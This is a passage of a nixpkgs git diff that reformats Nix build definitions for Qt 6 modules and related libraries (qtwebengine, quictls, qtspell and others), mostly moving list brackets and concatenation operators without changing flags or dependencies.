-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ moveBuildTree ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ moveBuildTree ];
 
-  propagatedNativeBuildInputs =
-    [ lndir ]
-    # I’m not sure if this is necessary, but the macOS mkspecs stuff
-    # tries to call `xcrun xcodebuild`, so better safe than sorry.
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
+  propagatedNativeBuildInputs = [
+    lndir
+  ]
+  # I’m not sure if this is necessary, but the macOS mkspecs stuff
+  # tries to call `xcrun xcodebuild`, so better safe than sorry.
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
 
   strictDeps = true;
 
@@ -251,38 +252,37 @@ stdenv.mkDerivation rec {
   qtPluginPrefix = "lib/qt-6/plugins";
   qtQmlPrefix = "lib/qt-6/qml";
 
-  cmakeFlags =
-    [
-      "-DQT_EMBED_TOOLCHAIN_COMPILER=OFF"
-      "-DINSTALL_PLUGINSDIR=${qtPluginPrefix}"
-      "-DINSTALL_QMLDIR=${qtQmlPrefix}"
-      "-DQT_FEATURE_libproxy=ON"
-      "-DQT_FEATURE_system_sqlite=ON"
-      "-DQT_FEATURE_openssl_linked=ON"
-      "-DQT_FEATURE_vulkan=ON"
-      # don't leak OS version into the final output
-      # https://bugreports.qt.io/browse/QTBUG-136060
-      "-DCMAKE_SYSTEM_VERSION="
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      "-DQT_FEATURE_sctp=ON"
-      "-DQT_FEATURE_journald=${if systemdSupport then "ON" else "OFF"}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DQT_FEATURE_rpath=OFF"
-      "-DQT_NO_XCODE_MIN_VERSION_CHECK=ON"
-      # This is only used for the min version check, which we disabled above.
-      # When this variable is not set, cmake tries to execute xcodebuild
-      # to query the version.
-      "-DQT_INTERNAL_XCODE_VERSION=0.1"
-    ]
-    ++ lib.optionals isCrossBuild [
-      "-DQT_HOST_PATH=${pkgsBuildBuild.qt6.qtbase}"
-      "-DQt6HostInfo_DIR=${pkgsBuildBuild.qt6.qtbase}/lib/cmake/Qt6HostInfo"
-    ]
-    ++ lib.optional (
-      qttranslations != null && !isCrossBuild
-    ) "-DINSTALL_TRANSLATIONSDIR=${qttranslations}/translations";
+  cmakeFlags = [
+    "-DQT_EMBED_TOOLCHAIN_COMPILER=OFF"
+    "-DINSTALL_PLUGINSDIR=${qtPluginPrefix}"
+    "-DINSTALL_QMLDIR=${qtQmlPrefix}"
+    "-DQT_FEATURE_libproxy=ON"
+    "-DQT_FEATURE_system_sqlite=ON"
+    "-DQT_FEATURE_openssl_linked=ON"
+    "-DQT_FEATURE_vulkan=ON"
+    # don't leak OS version into the final output
+    # https://bugreports.qt.io/browse/QTBUG-136060
+    "-DCMAKE_SYSTEM_VERSION="
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    "-DQT_FEATURE_sctp=ON"
+    "-DQT_FEATURE_journald=${if systemdSupport then "ON" else "OFF"}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DQT_FEATURE_rpath=OFF"
+    "-DQT_NO_XCODE_MIN_VERSION_CHECK=ON"
+    # This is only used for the min version check, which we disabled above.
+    # When this variable is not set, cmake tries to execute xcodebuild
+    # to query the version.
+    "-DQT_INTERNAL_XCODE_VERSION=0.1"
+  ]
+  ++ lib.optionals isCrossBuild [
+    "-DQT_HOST_PATH=${pkgsBuildBuild.qt6.qtbase}"
+    "-DQt6HostInfo_DIR=${pkgsBuildBuild.qt6.qtbase}/lib/cmake/Qt6HostInfo"
+  ]
+  ++ lib.optional (
+    qttranslations != null && !isCrossBuild
+  ) "-DINSTALL_TRANSLATIONSDIR=${qttranslations}/translations";
 
   env.NIX_CFLAGS_COMPILE = "-DNIXPKGS_QT_PLUGIN_PREFIX=\"${qtPluginPrefix}\"";
 
@@ -294,17 +294,16 @@ stdenv.mkDerivation rec {
 
   moveToDev = false;
 
-  postFixup =
-    ''
-      moveToOutput      "mkspecs/modules" "$dev"
-      fixQtModulePaths  "$dev/mkspecs/modules"
-      fixQtBuiltinPaths "$out" '*.pr?'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # FIXME: not sure why this isn't added automatically?
-      patchelf --add-rpath "${libmysqlclient}/lib/mariadb" $out/${qtPluginPrefix}/sqldrivers/libqsqlmysql.so
-      patchelf --add-rpath "${vulkan-loader}/lib" --add-needed "libvulkan.so" $out/lib/libQt6Gui.so
-    '';
+  postFixup = ''
+    moveToOutput      "mkspecs/modules" "$dev"
+    fixQtModulePaths  "$dev/mkspecs/modules"
+    fixQtBuiltinPaths "$out" '*.pr?'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # FIXME: not sure why this isn't added automatically?
+    patchelf --add-rpath "${libmysqlclient}/lib/mariadb" $out/${qtPluginPrefix}/sqldrivers/libqsqlmysql.so
+    patchelf --add-rpath "${vulkan-loader}/lib" --add-needed "libvulkan.so" $out/lib/libQt6Gui.so
+  '';
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
index a7d4e52b1531..9a0e419a5c9b 100644
--- a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
@@ -56,16 +56,15 @@ qtModule {
       echo "QTDHASH:''${out:${storePrefixLen}:32}" > .tag
     '';
 
-  cmakeFlags =
-    [
-      "-DQt6ShaderToolsTools_DIR=${pkgsBuildBuild.qt6.qtshadertools}/lib/cmake/Qt6ShaderTools"
-      # for some reason doesn't get found automatically on Darwin
-      "-DPython_EXECUTABLE=${lib.getExe pkgsBuildBuild.python3}"
-    ]
-    # Conditional is required to prevent infinite recursion during a cross build
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      "-DQt6QmlTools_DIR=${pkgsBuildBuild.qt6.qtdeclarative}/lib/cmake/Qt6QmlTools"
-    ];
+  cmakeFlags = [
+    "-DQt6ShaderToolsTools_DIR=${pkgsBuildBuild.qt6.qtshadertools}/lib/cmake/Qt6ShaderTools"
+    # for some reason doesn't get found automatically on Darwin
+    "-DPython_EXECUTABLE=${lib.getExe pkgsBuildBuild.python3}"
+  ]
+  # Conditional is required to prevent infinite recursion during a cross build
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    "-DQt6QmlTools_DIR=${pkgsBuildBuild.qt6.qtdeclarative}/lib/cmake/Qt6QmlTools"
+  ];
 
   meta.maintainers = with lib.maintainers; [
     nickcao
diff --git a/pkgs/development/libraries/qt-6/modules/qtmultimedia/default.nix b/pkgs/development/libraries/qt-6/modules/qtmultimedia/default.nix
index e053ca90336c..16c9f4d501a6 100644
--- a/pkgs/development/libraries/qt-6/modules/qtmultimedia/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtmultimedia/default.nix
@@ -30,37 +30,37 @@
 qtModule {
   pname = "qtmultimedia";
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [ ffmpeg ]
-    ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [
-      libunwind
-      orc
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libpulseaudio
-      pipewire
-      alsa-lib
-      wayland
-      libXrandr
-      libva
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [ elfutils ];
-  propagatedBuildInputs =
-    [
-      qtbase
-      qtdeclarative
-      qtsvg
-      qtshadertools
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [ qtquick3d ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      gstreamer
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gst-libav
-      gst-vaapi
-    ];
+  buildInputs = [
+    ffmpeg
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [
+    libunwind
+    orc
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libpulseaudio
+    pipewire
+    alsa-lib
+    wayland
+    libXrandr
+    libva
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [ elfutils ];
+  propagatedBuildInputs = [
+    qtbase
+    qtdeclarative
+    qtsvg
+    qtshadertools
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [ qtquick3d ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    gstreamer
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gst-libav
+    gst-vaapi
+  ];
 
   patches = lib.optionals stdenv.hostPlatform.isMinGW [
     ./windows-no-uppercase-libs.patch
diff --git a/pkgs/development/libraries/qt-6/modules/qtsvg.nix b/pkgs/development/libraries/qt-6/modules/qtsvg.nix
index 068a2ddc3469..5937c0c741d0 100644
--- a/pkgs/development/libraries/qt-6/modules/qtsvg.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtsvg.nix
@@ -13,16 +13,15 @@
 qtModule {
   pname = "qtsvg";
   propagatedBuildInputs = [ qtbase ];
-  buildInputs =
-    [
-      libwebp
-    ]
-    ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      jasper
-    ]
-    ++ [
-      libmng
-      zlib
-    ];
+  buildInputs = [
+    libwebp
+  ]
+  ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    jasper
+  ]
+  ++ [
+    libmng
+    zlib
+  ];
   nativeBuildInputs = [ pkg-config ];
 }
diff --git a/pkgs/development/libraries/qt-6/modules/qttools/default.nix b/pkgs/development/libraries/qt-6/modules/qttools/default.nix
index a2b9a36da4ee..fd68b6fd087e 100644
--- a/pkgs/development/libraries/qt-6/modules/qttools/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qttools/default.nix
@@ -20,7 +20,8 @@ qtModule {
   propagatedBuildInputs = [
     qtbase
     qtdeclarative
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ cups ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ cups ];
   cmakeFlags = lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
     "-DQt6LinguistTools_DIR=${pkgsBuildBuild.qt6.qttools}/lib/cmake/Qt6LinguistTools"
     "-DQt6ToolsTools_DIR=${pkgsBuildBuild.qt6.qttools}/lib/cmake/Qt6ToolsTools"
diff --git a/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix b/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
index 748456adfb60..ccbdb4a7e6aa 100644
--- a/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
@@ -70,25 +70,24 @@
 
 qtModule {
   pname = "qtwebengine";
-  nativeBuildInputs =
-    [
-      bison
-      coreutils
-      flex
-      git
-      gperf
-      ninja
-      pkg-config
-      (python3.withPackages (ps: with ps; [ html5lib ]))
-      which
-      gn
-      nodejs
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      bootstrap_cmds
-      cctools
-      xcbuild
-    ];
+  nativeBuildInputs = [
+    bison
+    coreutils
+    flex
+    git
+    gperf
+    ninja
+    pkg-config
+    (python3.withPackages (ps: with ps; [ html5lib ]))
+    which
+    gn
+    nodejs
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    bootstrap_cmds
+    cctools
+    xcbuild
+  ];
   doCheck = true;
   outputs = [
     "out"
@@ -101,181 +100,177 @@ qtModule {
   # which cannot be set at the same time as -Wformat-security
   hardeningDisable = [ "format" ];
 
-  patches =
-    [
-      # Don't assume /usr/share/X11, and also respect the XKB_CONFIG_ROOT
-      # environment variable, since NixOS relies on it working.
-      # See https://github.com/NixOS/nixpkgs/issues/226484 for more context.
-      ./xkb-includes.patch
+  patches = [
+    # Don't assume /usr/share/X11, and also respect the XKB_CONFIG_ROOT
+    # environment variable, since NixOS relies on it working.
+    # See https://github.com/NixOS/nixpkgs/issues/226484 for more context.
+    ./xkb-includes.patch
 
-      ./link-pulseaudio.patch
+    ./link-pulseaudio.patch
 
-      # Override locales install path so they go to QtWebEngine's $out
-      ./locales-path.patch
+    # Override locales install path so they go to QtWebEngine's $out
+    ./locales-path.patch
 
-      # Reproducibility QTBUG-136068
-      ./gn-object-sorted.patch
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      # https://chromium-review.googlesource.com/c/chromium/src/+/6445471
-      (fetchpatch2 {
-        url = "https://github.com/chromium/chromium/commit/f8f21fb4aa01f75acbb12abf5ea8c263c6817141.patch?full_index=1";
-        stripLen = 1;
-        extraPrefix = "src/3rdparty/chromium/";
-        hash = "sha256-wcby9uD8xb4re9+s+rdl1hcpxDcHxuI68vUNAC7Baas=";
-      })
-    ];
+    # Reproducibility QTBUG-136068
+    ./gn-object-sorted.patch
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    # https://chromium-review.googlesource.com/c/chromium/src/+/6445471
+    (fetchpatch2 {
+      url = "https://github.com/chromium/chromium/commit/f8f21fb4aa01f75acbb12abf5ea8c263c6817141.patch?full_index=1";
+      stripLen = 1;
+      extraPrefix = "src/3rdparty/chromium/";
+      hash = "sha256-wcby9uD8xb4re9+s+rdl1hcpxDcHxuI68vUNAC7Baas=";
+    })
+  ];
 
-  postPatch =
-    ''
-      # Patch Chromium build tools
-      (
-        cd src/3rdparty/chromium;
+  postPatch = ''
+    # Patch Chromium build tools
+    (
+      cd src/3rdparty/chromium;
 
-        # Manually fix unsupported shebangs
-        substituteInPlace third_party/harfbuzz-ng/src/src/update-unicode-tables.make \
-          --replace "/usr/bin/env -S make -f" "/usr/bin/make -f" || true
-        substituteInPlace third_party/webgpu-cts/src/tools/run_deno \
-          --replace "/usr/bin/env -S deno" "/usr/bin/deno" || true
-        patchShebangs .
-      )
+      # Manually fix unsupported shebangs
+      substituteInPlace third_party/harfbuzz-ng/src/src/update-unicode-tables.make \
+        --replace "/usr/bin/env -S make -f" "/usr/bin/make -f" || true
+      substituteInPlace third_party/webgpu-cts/src/tools/run_deno \
+        --replace "/usr/bin/env -S deno" "/usr/bin/deno" || true
+      patchShebangs .
+    )
 
-      substituteInPlace cmake/Functions.cmake \
-        --replace "/bin/bash" "${buildPackages.bash}/bin/bash"
+    substituteInPlace cmake/Functions.cmake \
+      --replace "/bin/bash" "${buildPackages.bash}/bin/bash"
 
-      # Patch library paths in sources
-      substituteInPlace src/core/web_engine_library_info.cpp \
-        --replace "QLibraryInfo::path(QLibraryInfo::DataPath)" "\"$out\"" \
-        --replace "QLibraryInfo::path(QLibraryInfo::TranslationsPath)" "\"$out/translations\"" \
-        --replace "QLibraryInfo::path(QLibraryInfo::LibraryExecutablesPath)" "\"$out/libexec\""
+    # Patch library paths in sources
+    substituteInPlace src/core/web_engine_library_info.cpp \
+      --replace "QLibraryInfo::path(QLibraryInfo::DataPath)" "\"$out\"" \
+      --replace "QLibraryInfo::path(QLibraryInfo::TranslationsPath)" "\"$out/translations\"" \
+      --replace "QLibraryInfo::path(QLibraryInfo::LibraryExecutablesPath)" "\"$out/libexec\""
 
-      substituteInPlace configure.cmake src/gn/CMakeLists.txt \
-        --replace "AppleClang" "Clang"
+    substituteInPlace configure.cmake src/gn/CMakeLists.txt \
+      --replace "AppleClang" "Clang"
 
-      # Disable metal shader compilation, Xcode only
-      substituteInPlace src/3rdparty/chromium/third_party/angle/src/libANGLE/renderer/metal/metal_backend.gni \
-        --replace-fail 'angle_has_build && !is_ios && target_os == host_os' "false"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      sed -i -e '/lib_loader.*Load/s!"\(libudev\.so\)!"${lib.getLib systemd}/lib/\1!' \
-        src/3rdparty/chromium/device/udev_linux/udev?_loader.cc
+    # Disable metal shader compilation, Xcode only
+    substituteInPlace src/3rdparty/chromium/third_party/angle/src/libANGLE/renderer/metal/metal_backend.gni \
+      --replace-fail 'angle_has_build && !is_ios && target_os == host_os' "false"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    sed -i -e '/lib_loader.*Load/s!"\(libudev\.so\)!"${lib.getLib systemd}/lib/\1!' \
+      src/3rdparty/chromium/device/udev_linux/udev?_loader.cc
 
-      sed -i -e '/libpci_loader.*Load/s!"\(libpci\.so\)!"${pciutils}/lib/\1!' \
-        src/3rdparty/chromium/gpu/config/gpu_info_collector_linux.cc
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace cmake/QtToolchainHelpers.cmake \
-        --replace-fail "/usr/bin/xcrun" "${xcbuild}/bin/xcrun"
-    '';
+    sed -i -e '/libpci_loader.*Load/s!"\(libpci\.so\)!"${pciutils}/lib/\1!' \
+      src/3rdparty/chromium/gpu/config/gpu_info_collector_linux.cc
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace cmake/QtToolchainHelpers.cmake \
+      --replace-fail "/usr/bin/xcrun" "${xcbuild}/bin/xcrun"
+  '';
 
-  cmakeFlags =
-    [
-      "-DQT_FEATURE_qtpdf_build=ON"
-      "-DQT_FEATURE_qtpdf_widgets_build=ON"
-      "-DQT_FEATURE_qtpdf_quick_build=ON"
-      "-DQT_FEATURE_pdf_v8=ON"
-      "-DQT_FEATURE_pdf_xfa=ON"
-      "-DQT_FEATURE_pdf_xfa_bmp=ON"
-      "-DQT_FEATURE_pdf_xfa_gif=ON"
-      "-DQT_FEATURE_pdf_xfa_png=ON"
-      "-DQT_FEATURE_pdf_xfa_tiff=ON"
-      "-DQT_FEATURE_webengine_system_libevent=ON"
-      "-DQT_FEATURE_webengine_system_ffmpeg=ON"
-      # android only. https://bugreports.qt.io/browse/QTBUG-100293
-      # "-DQT_FEATURE_webengine_native_spellchecker=ON"
-      "-DQT_FEATURE_webengine_sanitizer=ON"
-      "-DQT_FEATURE_webengine_kerberos=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-DQT_FEATURE_webengine_system_libxml=ON"
-      "-DQT_FEATURE_webengine_webrtc_pipewire=ON"
+  cmakeFlags = [
+    "-DQT_FEATURE_qtpdf_build=ON"
+    "-DQT_FEATURE_qtpdf_widgets_build=ON"
+    "-DQT_FEATURE_qtpdf_quick_build=ON"
+    "-DQT_FEATURE_pdf_v8=ON"
+    "-DQT_FEATURE_pdf_xfa=ON"
+    "-DQT_FEATURE_pdf_xfa_bmp=ON"
+    "-DQT_FEATURE_pdf_xfa_gif=ON"
+    "-DQT_FEATURE_pdf_xfa_png=ON"
+    "-DQT_FEATURE_pdf_xfa_tiff=ON"
+    "-DQT_FEATURE_webengine_system_libevent=ON"
+    "-DQT_FEATURE_webengine_system_ffmpeg=ON"
+    # android only. https://bugreports.qt.io/browse/QTBUG-100293
+    # "-DQT_FEATURE_webengine_native_spellchecker=ON"
+    "-DQT_FEATURE_webengine_sanitizer=ON"
+    "-DQT_FEATURE_webengine_kerberos=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-DQT_FEATURE_webengine_system_libxml=ON"
+    "-DQT_FEATURE_webengine_webrtc_pipewire=ON"
 
-      # Appears not to work on some platforms
-      # https://github.com/Homebrew/homebrew-core/issues/104008
-      "-DQT_FEATURE_webengine_system_icu=ON"
-    ]
-    ++ lib.optionals enableProprietaryCodecs [
-      "-DQT_FEATURE_webengine_proprietary_codecs=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DCMAKE_OSX_DEPLOYMENT_TARGET=11.0" # Per Qt 6’s deployment target (why doesn’t the hook work?)
-    ];
+    # Appears not to work on some platforms
+    # https://github.com/Homebrew/homebrew-core/issues/104008
+    "-DQT_FEATURE_webengine_system_icu=ON"
+  ]
+  ++ lib.optionals enableProprietaryCodecs [
+    "-DQT_FEATURE_webengine_proprietary_codecs=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DCMAKE_OSX_DEPLOYMENT_TARGET=11.0" # Per Qt 6’s deployment target (why doesn’t the hook work?)
+  ];
 
-  propagatedBuildInputs =
-    [
-      qtdeclarative
-      qtwebchannel
-      qtwebsockets
-      qtpositioning
+  propagatedBuildInputs = [
+    qtdeclarative
+    qtwebchannel
+    qtwebsockets
+    qtpositioning
 
-      # Image formats
-      libjpeg
-      libpng
-      libtiff
-      libwebp
+    # Image formats
+    libjpeg
+    libpng
+    libtiff
+    libwebp
 
-      # Video formats
-      srtp
-      libvpx
+    # Video formats
+    srtp
+    libvpx
 
-      # Audio formats
-      libopus
+    # Audio formats
+    libopus
 
-      # Text rendering
-      harfbuzz
+    # Text rendering
+    harfbuzz
 
-      openssl
-      glib
-      libxslt
-      lcms2
+    openssl
+    glib
+    libxslt
+    lcms2
 
-      libevent
-      ffmpeg
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      dbus
-      zlib
-      minizip
-      snappy
-      nss
-      protobuf
-      jsoncpp
+    libevent
+    ffmpeg
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    dbus
+    zlib
+    minizip
+    snappy
+    nss
+    protobuf
+    jsoncpp
 
-      icu
-      libxml2
+    icu
+    libxml2
 
-      # Audio formats
-      alsa-lib
-      pulseaudio
+    # Audio formats
+    alsa-lib
+    pulseaudio
 
-      # Text rendering
-      fontconfig
-      freetype
+    # Text rendering
+    fontconfig
+    freetype
 
-      libcap
-      pciutils
+    libcap
+    pciutils
 
-      # X11 libs
-      xorg.xrandr
-      libXScrnSaver
-      libXcursor
-      libXrandr
-      xorg.libpciaccess
-      libXtst
-      xorg.libXcomposite
-      xorg.libXdamage
-      libdrm
-      xorg.libxkbfile
-      libxshmfence
-      libXi
-      xorg.libXext
+    # X11 libs
+    xorg.xrandr
+    libXScrnSaver
+    libXcursor
+    libXrandr
+    xorg.libpciaccess
+    libXtst
+    xorg.libXcomposite
+    xorg.libXdamage
+    libdrm
+    xorg.libxkbfile
+    libxshmfence
+    libXi
+    xorg.libXext
 
-      # Pipewire
-      pipewire
+    # Pipewire
+    pipewire
 
-      libkrb5
-      libgbm
-    ];
+    libkrb5
+    libgbm
+  ];
 
   buildInputs = [
     cups
diff --git a/pkgs/development/libraries/qt-6/modules/qtwebview.nix b/pkgs/development/libraries/qt-6/modules/qtwebview.nix
index 56f5aa6a7072..87ea9b8287a1 100644
--- a/pkgs/development/libraries/qt-6/modules/qtwebview.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtwebview.nix
@@ -10,5 +10,6 @@ qtModule {
   pname = "qtwebview";
   propagatedBuildInputs = [
     qtdeclarative
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ qtwebengine ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ qtwebengine ];
 }
diff --git a/pkgs/development/libraries/qt-6/qtModule.nix b/pkgs/development/libraries/qt-6/qtModule.nix
index a7f8144212b2..ac37bfd4f96e 100644
--- a/pkgs/development/libraries/qt-6/qtModule.nix
+++ b/pkgs/development/libraries/qt-6/qtModule.nix
@@ -24,8 +24,7 @@ stdenv.mkDerivation (
     patches = args.patches or patches.${pname} or [ ];
 
     buildInputs =
-      args.buildInputs or [ ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin darwinVersionInputs;
+      args.buildInputs or [ ] ++ lib.optionals stdenv.hostPlatform.isDarwin darwinVersionInputs;
     nativeBuildInputs =
       (args.nativeBuildInputs or [ ])
       ++ [
diff --git a/pkgs/development/libraries/qtspell/default.nix b/pkgs/development/libraries/qtspell/default.nix
index fafa13d11457..679f3ab97627 100644
--- a/pkgs/development/libraries/qtspell/default.nix
+++ b/pkgs/development/libraries/qtspell/default.nix
@@ -30,15 +30,14 @@ stdenv.mkDerivation rec {
     qttools
   ];
 
-  buildInputs =
-    [
-      enchant
-      qtbase
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      glib
-      llvmPackages.clang
-    ];
+  buildInputs = [
+    enchant
+    qtbase
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    glib
+    llvmPackages.clang
+  ];
 
   cmakeFlags = [ "-DQT_VER=6" ];
 
diff --git a/pkgs/development/libraries/qtstyleplugin-kvantum/default.nix b/pkgs/development/libraries/qtstyleplugin-kvantum/default.nix
index 729e8b6e918b..54ab47e2db21 100644
--- a/pkgs/development/libraries/qtstyleplugin-kvantum/default.nix
+++ b/pkgs/development/libraries/qtstyleplugin-kvantum/default.nix
@@ -39,18 +39,17 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtsvg
-      libX11
-      libXext
-    ]
-    ++ lib.optionals isQt5 [ qtx11extras ]
-    ++ lib.optionals (!isQt5) [
-      kwindowsystem
-      qtwayland
-    ];
+  buildInputs = [
+    qtbase
+    qtsvg
+    libX11
+    libXext
+  ]
+  ++ lib.optionals isQt5 [ qtx11extras ]
+  ++ lib.optionals (!isQt5) [
+    kwindowsystem
+    qtwayland
+  ];
 
   sourceRoot = "${finalAttrs.src.name}/Kvantum";
 
diff --git a/pkgs/development/libraries/quarto/default.nix b/pkgs/development/libraries/quarto/default.nix
index 9cb6ab94dae1..e3467be75fca 100644
--- a/pkgs/development/libraries/quarto/default.nix
+++ b/pkgs/development/libraries/quarto/default.nix
@@ -23,7 +23,8 @@ let
   rWithPackages = rWrapper.override {
     packages = [
       rPackages.rmarkdown
-    ] ++ extraRPackages;
+    ]
+    ++ extraRPackages;
   };
 
   pythonWithPackages = python3.withPackages (
diff --git a/pkgs/development/libraries/quictls/default.nix b/pkgs/development/libraries/quictls/default.nix
index a4df4553d70a..08e74596c54e 100644
--- a/pkgs/development/libraries/quictls/default.nix
+++ b/pkgs/development/libraries/quictls/default.nix
@@ -39,19 +39,18 @@ stdenv.mkDerivation rec {
     )
   ];
 
-  postPatch =
-    ''
-      patchShebangs Configure
-    ''
-    # config is a configure script which is not installed.
-    + ''
-      substituteInPlace config --replace '/usr/bin/env' '${buildPackages.coreutils}/bin/env'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isMusl ''
-      substituteInPlace crypto/async/arch/async_posix.h \
-        --replace '!defined(__ANDROID__) && !defined(__OpenBSD__)' \
-                  '!defined(__ANDROID__) && !defined(__OpenBSD__) && 0'
-    '';
+  postPatch = ''
+    patchShebangs Configure
+  ''
+  # config is a configure script which is not installed.
+  + ''
+    substituteInPlace config --replace '/usr/bin/env' '${buildPackages.coreutils}/bin/env'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isMusl ''
+    substituteInPlace crypto/async/arch/async_posix.h \
+      --replace '!defined(__ANDROID__) && !defined(__OpenBSD__)' \
+                '!defined(__ANDROID__) && !defined(__OpenBSD__) && 0'
+  '';
 
   nativeBuildInputs = [
     makeWrapper
@@ -122,29 +121,28 @@ stdenv.mkDerivation rec {
   # OpenSSL doesn't like the `--enable-static` / `--disable-shared` flags.
   dontAddStaticConfigureFlags = true;
 
-  configureFlags =
-    [
-      "shared" # "shared" builds both shared and static libraries
-      "--libdir=lib"
-      "--openssldir=etc/ssl"
-    ]
-    ++ lib.optionals withCryptodev [
-      "-DHAVE_CRYPTODEV"
-      "-DUSE_CRYPTODEV_DIGESTS"
-    ]
-    ++ lib.optional enableSSL2 "enable-ssl2"
-    ++ lib.optional enableSSL3 "enable-ssl3"
-    # We select KTLS here instead of the configure-time detection (which we patch out).
-    # KTLS should work on FreeBSD 13+ as well, so we could enable it if someone tests it.
-    ++ lib.optional (stdenv.hostPlatform.isLinux && lib.versionAtLeast version "3.0.0") "enable-ktls"
-    ++ lib.optional stdenv.hostPlatform.isAarch64 "no-afalgeng"
-    # OpenSSL needs a specific `no-shared` configure flag.
-    # See https://wiki.openssl.org/index.php/Compilation_and_Installation#Configure_Options
-    # for a comprehensive list of configuration options.
-    ++ lib.optional static "no-shared"
-    # This introduces a reference to the CTLOG_FILE which is undesired when
-    # trying to build binaries statically.
-    ++ lib.optional static "no-ct";
+  configureFlags = [
+    "shared" # "shared" builds both shared and static libraries
+    "--libdir=lib"
+    "--openssldir=etc/ssl"
+  ]
+  ++ lib.optionals withCryptodev [
+    "-DHAVE_CRYPTODEV"
+    "-DUSE_CRYPTODEV_DIGESTS"
+  ]
+  ++ lib.optional enableSSL2 "enable-ssl2"
+  ++ lib.optional enableSSL3 "enable-ssl3"
+  # We select KTLS here instead of the configure-time detection (which we patch out).
+  # KTLS should work on FreeBSD 13+ as well, so we could enable it if someone tests it.
+  ++ lib.optional (stdenv.hostPlatform.isLinux && lib.versionAtLeast version "3.0.0") "enable-ktls"
+  ++ lib.optional stdenv.hostPlatform.isAarch64 "no-afalgeng"
+  # OpenSSL needs a specific `no-shared` configure flag.
+  # See https://wiki.openssl.org/index.php/Compilation_and_Installation#Configure_Options
+  # for a comprehensive list of configuration options.
+  ++ lib.optional static "no-shared"
+  # This introduces a reference to the CTLOG_FILE which is undesired when
+  # trying to build binaries statically.
+  ++ lib.optional static "no-ct";
 
   makeFlags = [
     "MANDIR=$(man)/share/man"
diff --git a/pkgs/development/libraries/qxmpp/default.nix b/pkgs/development/libraries/qxmpp/default.nix
index 3fe969629394..4bad5a0d802f 100644
--- a/pkgs/development/libraries/qxmpp/default.nix
+++ b/pkgs/development/libraries/qxmpp/default.nix
@@ -24,14 +24,13 @@ stdenv.mkDerivation rec {
     hash = "sha256-M3F4tNIO3RvDxk/lce8/J6kmQtnsGLILQ15uEzgyfds=";
   };
 
